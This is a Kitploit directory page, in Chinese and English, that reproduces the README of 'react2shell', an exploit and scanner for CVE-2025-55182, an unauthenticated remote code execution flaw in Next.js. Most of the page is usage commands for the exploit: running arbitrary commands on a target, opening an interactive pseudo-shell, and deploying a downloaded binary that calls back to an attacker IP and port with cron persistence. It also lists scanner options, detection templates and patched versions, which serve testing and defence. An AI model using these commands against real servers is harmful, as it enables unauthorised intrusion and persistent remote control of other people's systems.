Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-55182-react2shell — 一个用于检测Next.js应用程序中CVE-2025-55182漏洞的bash扫描器。以及一个PoC的nodejs脚本。 | Kitploit
工具/GitHubGitHub/saturate/cve-2025-55182-react2shell
漏洞扫描器漏洞利用ShellcodeWeb应用程序漏洞利用渗透测试命令与控制远程访问工具Payload 开发
GitHubsaturate/cve-2025-55182-react2shell

CVE-2025-55182-react2shell

一个用于检测Next.js应用程序中CVE-2025-55182漏洞的bash扫描器。以及一个PoC的nodejs脚本。

查看仓库
11个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

react2shell

CVE-2025-55182 工具包。用于通过 RSC 负载注入实现 Next.js 中未经认证的远程代码执行 (RCE) 的扫描器 + 利用程序。

Node.js 利用程序:零依赖。Bash 扫描器:检查单个 URL 或批量列表。

利用程序

root@kitploit:~
# Single command with output
./react2shell.mjs -t http://target:3000 -c "id"

# Interactive pseudo-shell
./react2shell.mjs -t http://target:3000 -i

# Deploy a binary to the target (download + chmod + execute detached)
./react2shell.mjs -t http://target:3000 \
  --deploy ./my-agent \
  --remote-args "-H 10.10.14.5 -p 4444 --tls --cron"
root@kitploit:~
Options:
  -t, --target <url>       Target URL (required)
  -c, --command <cmd>      Execute command with output
  --blind                  Blind RCE (no output capture)
  -i, --interactive        Interactive pseudo-shell
  --deploy <binary>        Upload and execute a binary on the target
  --lhost <ip>             Your IP (auto-detected if omitted)
  --serve-port <port>      HTTP port to serve the binary (default: 8888)
  --remote-args <args>     Arguments passed to the deployed binary

--deploy 将四次 RCE 调用串联起来:平台检测(uname)、二进制下载(启动临时 HTTP 服务器,在目标上使用 curl/wget),以及一个分离的 spawn,使得进程能够在 5 秒的 execSync 超时后继续存活。

注意: 目标页面必须是动态页面(force-dynamic 或不可缓存的路由)。静态/预渲染页面会返回缓存的摘要,而不是执行负载。

扫描器

root@kitploit:~
chmod +x cve-2025-55182-check.sh

# Scan a single URL
./cve-2025-55182-check.sh https://example.com

# Scan multiple URLs
./cve-2025-55182-check.sh -f urls.txt

# JSON output
./cve-2025-55182-check.sh --json https://example.com
root@kitploit:~
Options:
  -f, --file FILE         Read URLs from file (one per line)
  -v, --verbose           Verbose output (show curl details)
  -q, --quiet             Quiet mode (only show vulnerable sites)
  -n, --no-follow         Don't follow redirects
  -t, --timeout SECONDS   Request timeout (default: 10)
  --json                  Output results in JSON format
  --validate-fix          Test for mitigation controls
  --single-payload        Use only the basic payload (faster)

集成模板

templates/ 目录中包含的安全工具模板:

  • Nuclei(templates/nuclei.yaml)
  • Burp Suite(templates/burp-scanner.json)
  • OWASP ZAP(templates/zap-scan-policy.xml)

受影响版本

React: 19.0.0、19.1.0、19.1.1、19.2.0 Next.js: >=14.3.0-canary.77、全部 15.x 和 16.x(补丁发布前)

已打补丁: React 19.0.1+、19.1.2+、19.2.1+ Next.js 16.0.7+、15.5.7+、15.4.8+、15.3.6+、15.2.6+、15.1.9+、15.0.5+

技术细节

请参阅 TECHNICAL.md 了解完整的利用链分析。

参考

  • CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-55182
  • React 公告: https://react.dev/blog/2025/12/03/critical-security-vulnerability
  • 修复提交: https://github.com/facebook/react/commit/7dc903cd29

许可证

MIT

作者

Allan Kimmer Jensen - https://akj.io

下载工具